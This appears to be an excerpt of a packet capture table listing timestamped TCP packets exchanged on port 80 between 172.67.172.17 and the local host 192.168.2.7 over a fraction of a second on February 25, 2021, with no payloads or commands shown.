Feb 25, 2021 15:14:53.185520887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185534000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185551882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185570002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185585022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185586929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185600996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185609102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185619116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185622931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185635090 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185655117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185661077 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185673952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185695887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185699940 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185717106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185734987 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185736895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185758114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185776949 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185867071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185889006 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185909033 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185909986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185946941 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185947895 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.185970068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.185990095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186005116 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186013937 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186034918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186047077 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186052084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186098099 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186414003 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186449051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186476946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186497927 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186501980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186527014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186537981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186551094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186575890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186585903 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186598063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186619043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186633110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186642885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186666012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186678886 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186686039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186703920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186718941 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186723948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186742067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186758995 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.186764002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.186800957 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187414885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187452078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187477112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187503099 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187526941 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187547922 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187551022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187575102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187577963 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187602997 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187604904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187628031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187653065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187654972 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187674999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187695026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187697887 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187712908 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187731028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187735081 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187747002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187769890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.187769890 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.187804937 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188440084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188477993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188505888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188529968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188536882 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188553095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188574076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188581944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188607931 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188625097 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188632011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188656092 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188668966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188679934 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188705921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188718081 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188730955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188756943 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188771009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188779116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188801050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188815117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.188822031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.188863993 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.189322948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189361095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189409018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189413071 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.189435959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189460039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189481974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189502954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189522028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189542055 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189560890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189579010 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189596891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189615965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189632893 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189651012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189668894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.189884901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190226078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190258980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190280914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190299988 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190304041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190325975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190340042 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190347910 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190370083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190382957 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190391064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190413952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190427065 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190435886 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190455914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190476894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190476894 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190498114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190514088 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190519094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190540075 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190553904 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.190561056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.190594912 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191190958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191220045 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191241980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191265106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191265106 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191287994 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191302061 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191312075 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191334009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191351891 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191354990 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191375971 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191387892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191396952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191416979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191431999 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191437960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191459894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191474915 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191483021 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191504955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191520929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.191525936 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.191566944 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192166090 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192194939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192217112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192233086 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192244053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192266941 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192277908 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192289114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192310095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192322969 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192332029 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192353010 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192365885 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192374945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192398071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192410946 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192420959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192442894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192461967 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192465067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192487955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192511082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.192513943 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.192548990 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193080902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193106890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193130016 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193149090 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193154097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193176985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193187952 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193200111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193223000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193234921 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193244934 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193265915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193280935 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193286896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193308115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193320036 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193329096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193348885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193362951 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193370104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193402052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.193409920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193434954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.193473101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194046974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194070101 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194091082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194108009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194114923 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194138050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194152117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194159985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194181919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194195032 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194204092 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194225073 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194237947 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194247961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194268942 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194279909 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194292068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194314957 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194328070 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194335938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194356918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194377899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.194379091 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.194413900 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195000887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195024967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195048094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195070982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195070982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195094109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195103884 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195116997 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195139885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195149899 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195166111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195192099 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195205927 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195216894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195240974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195251942 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195264101 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195286989 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195297003 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195310116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195332050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195352077 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195355892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.195394993 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.195981979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196007967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196029902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196052074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196058989 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196075916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196088076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196098089 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196119070 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196136951 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196141005 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196168900 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196187019 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196190119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196211100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196222067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196233034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196254969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196265936 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196275949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196295023 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196305037 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196316004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196357965 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196903944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196928024 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196950912 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196974039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.196978092 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.196997881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197010040 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197019100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197040081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197046995 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197062969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197083950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197096109 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197105885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197127104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197135925 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197146893 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197166920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197177887 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197189093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197210073 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197220087 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197232962 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197264910 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197864056 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197890043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197911978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197923899 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197935104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197957993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.197966099 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.197979927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198002100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198010921 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198024035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198044062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198055029 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198065042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198085070 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198096037 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198107958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198129892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198137999 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198149920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198170900 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198180914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198193073 CET	80	49708	172.67.172.17	192.168.2.7
